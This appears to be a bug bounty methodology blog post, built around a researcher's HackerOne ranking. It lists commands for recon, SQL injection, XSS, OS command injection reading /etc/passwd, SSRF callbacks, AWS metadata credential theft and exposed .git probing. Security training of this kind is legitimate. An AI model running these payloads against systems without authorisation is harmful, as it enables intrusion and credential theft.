Listen to this Post
Introduction:
The recent announcement of a security researcher ranking 1 in Egypt on HackerOne and achieving global top-20 status is not a matter of luck; it is the direct result of a meticulous and repeatable offensive security methodology. This article deconstructs the core technical competencies and hands-on commands required to transition from a junior pentester to a top-tier bug bounty hunter, providing the actionable intelligence needed to replicate this success.
Learning Objectives:
- Master the foundational reconnaissance and enumeration commands that uncover critical attack surfaces.
- Implement advanced exploitation techniques for common web application vulnerabilities.
- Develop a systematic workflow for vulnerability validation and report writing that stands out to triage teams.
You Should Know:
1. Passive Subdomain Enumeration with `amass`
Verified Command:
amass enum -passive -d target.com -o target_subdomains.txt
Step-by-step guide:
This command uses the OWASP Amass tool to perform passive DNS enumeration, gathering subdomain information without sending direct traffic to the target. It queries various data sources like SSL certificates, search engines, and public archives. The `-passive` flag is crucial for staying stealthy during the initial reconnaissance phase. The output is saved to a file for further analysis, providing a foundational map of the target’s external footprint.
2. Active Subdomain Bruteforcing with `gobuster`
Verified Command:
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt -t 50 -o gobuster_output.txt
Step-by-step guide:
After passive recon, active bruteforcing discovers hidden subdomains. This `gobuster` command uses a wordlist to perform DNS bruteforcing against target.com. The `-t 50` flag specifies 50 threads for faster execution. This often reveals development, staging, and internal subdomains not indexed publicly, significantly expanding the attack surface.
3. Live Host Verification with `httpx`
Verified Command:
cat target_subdomains.txt | httpx -silent -threads 100 -o live_subdomains.txt
Step-by-step guide:
A list of subdomains is useless without knowing which are active. This pipeline takes the subdomain list, probes them for HTTP/HTTPS services, and filters out dead endpoints. The `-silent` flag removes clutter, and `-threads 100` accelerates the process. The result is a clean list of live web applications ready for vulnerability scanning.
4. Port Scanning for Service Discovery with `nmap`
Verified Command:
nmap -sS -sV -sC -p- -T4 target.com -oA nmap_full_scan
Step-by-step guide:
This comprehensive `nmap` command performs a SYN scan (-sS) on all ports (-p-), with service version detection (-sV) and default script scanning (-sC). The `-T4` flag increases speed, and `-oA` outputs results in all major formats. Discovering non-standard ports running web services (e.g., 8080, 8443) often reveals less-secure administrative interfaces.
5. Automated Vulnerability Scanning with `nuclei`
Verified Command:
nuclei -l live_subdomains.txt -t /path/to/nuclei-templates/ -o nuclei_results.txt -severity low,medium,high,critical
Step-by-step guide:
Nuclei uses community-powered templates to scan for thousands of known vulnerabilities. This command runs templates against all live subdomains, filtering findings by severity. It is exceptionally effective for identifying low-hanging fruit like exposed debug panels, default credentials, and known CVEs in web frameworks.
6. JavaScript Endpoint Discovery for API Probes
Verified Command:
cat live_subdomains.txt | waybackurls | grep ".js$" | uniq > js_files.txt
Step-by-step guide:
Modern web apps often hide API endpoints and sensitive data within JavaScript files. This command uses `waybackurls` to fetch historical URLs from archives, filters for JavaScript files, and saves unique entries. Manually reviewing these files can uncover hard-to-find endpoints, API keys, and business logic flaws.
7. SQL Injection Testing with `sqlmap`
Verified Command:
sqlmap -u "https://target.com/login.php?user=admin&id=1" --batch --level=3 --risk=3 --dbs
Step-by-step guide:
For a potentially vulnerable parameter, `sqlmap` automates the detection and exploitation of SQL injection flaws. This command tests the URL with a high risk and level for thoroughness, and `–batch` runs it non-interactively. The `–dbs` flag attempts to enumerate the available databases, a critical step in proving impact.
8. Cross-Site Scripting (XSS) Payload Verification
Verified Command (Python Script Snippet):
payloads = ["<script>alert(1)</script>", "<img src=x onerror=alert(1)>"]
for payload in payloads:
r = requests.get(f"https://target.com/search?q={payload}")
if payload in r.text:
print(f"Potential XSS: {payload}")
Step-by-step guide:
This simple Python script tests for reflected XSS by injecting common payloads into a parameter and checking if the payload is reflected unsanitized in the response. While basic, it demonstrates the core principle of XSS validation before moving to more advanced polyglot payloads.
9. Server-Side Request Forgery (SSRF) Exploitation
Verified Command (Using a test server):
On your server: nc -lvnp 80 In the burp collaborator client or similar, use the payload: http://your-server.com/ssrf_test
Step-by-step guide:
To test for SSRF, host a listener (nc) on a public server. Then, submit a URL pointing to your server in any application parameter that might fetch a URL (e.g., webhook, image upload, PDF generator). If your listener receives a connection, the application is vulnerable to SSRF, allowing internal network reconnaissance.
10. Insecure Direct Object Reference (IDOR) Hunting
Verified Methodology:
Manipulate object identifiers in requests (e.g., `user_id=1001` changed to user_id=1000) while maintaining a valid session. Use a tool like Burp Suite’s Repeater to systematically test GET, POST, and PUT requests for access control violations, accessing other users’ data without authorization.
11. JWT Token Manipulation
Verified Command (using `jwt_tool`):
python3 jwt_tool.py <JWT_TOKEN> -T
Step-by-step guide:
JWTs are often misconfigured. This command runs a battery of tests against a JWT, checking for flaws like algorithm confusion (none algorithm), weak secrets, and misconfigured claims. A successful exploit can lead to privilege escalation or account takeover.
12. OS Command Injection Testing
Verified Payload:
; whoami | id $(cat /etc/passwd) `ls -la`
Step-by-step guide:
Inject these payloads into parameters that might be processed by the system shell (e.g., network diagnostics, file upload names). A successful injection will return the command’s output within the application’s response, demonstrating a critical remote code execution flaw.
13. Cloud Metadata API Exploitation
Verified Command (for AWS):
curl http://169.254.169.254/latest/meta-data/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
Step-by-step guide:
If an SSRF vulnerability exists, these commands (or their equivalents in Burp) can be used to query the cloud instance’s metadata service. Successfully retrieving IAM credentials can lead to a full compromise of the cloud environment.
14. Git Repository Exposure
Verified Command:
curl -s http://target.com/.git/HEAD gobuster dir -u http://target.com/ -w /usr/share/wordlists/dirb/common.txt -x .git
Step-by-step guide:
Exposed `.git` folders can be goldmines. The first command checks for the existence of the Git HEAD file. If found, tools like `git-dumper` can be used to download the entire repository, potentially revealing source code, API keys, and database credentials.
15. Automated Workflow with `bash` scripting
Verified Script Snippet:
!/bin/bash domain=$1 echo "[+] Starting reconnaissance on $domain" amass enum -passive -d $domain -o amass_$domain.txt httpx -l amass_$domain.txt -silent -o live_$domain.txt nuclei -l live_$domain.txt -severity high,critical -o nuclei_$domain.txt echo "[+] Recon complete for $domain"
Step-by-step guide:
This simple bash script automates the initial recon workflow: passive enumeration, live host finding, and high-severity vulnerability scanning. Automating these repetitive tasks saves hours, allowing you to focus on manual, in-depth testing of the most promising targets.
What Undercode Say:
- Methodology Over Tools: Success is 20% the tools and 80% the consistent, documented process of enumeration, analysis, and exploitation.
- Impact is King: A single, well-documented vulnerability with clear business impact (e.g., customer data exposure, admin takeover) is worth more than a dozen low-severity bugs.
The public leaderboard success is a symptom of a deeply ingrained, systematic approach to security research. It is not about knowing every tool but about mastering a core set and applying them with relentless consistency. The researcher’s achievement highlights a critical shift in the industry: the democratization of security testing, where skill and process, not formal titles, determine value and success. This blueprint provides the technical foundation, but the differentiating factor is the researcher’s curiosity and tenacity in connecting the dots between disparate pieces of information uncovered by these commands.
Prediction:
The normalization of top-tier bug bounty achievements by individual researchers will force a fundamental restructuring of corporate security programs. Companies can no longer rely on opaque, annual penetration tests. The future is continuous, crowdsourced security assessment, where internal blue teams must adopt the same tools and methodologies as external attackers to proactively defend their assets. This will lead to a new specialization: “Bug Bounty Defense,” where security engineers are tasked explicitly with hunting for and remediating the very classes of vulnerabilities that bounty hunters exploit, all before they can be reported.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Khaleed Samy – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
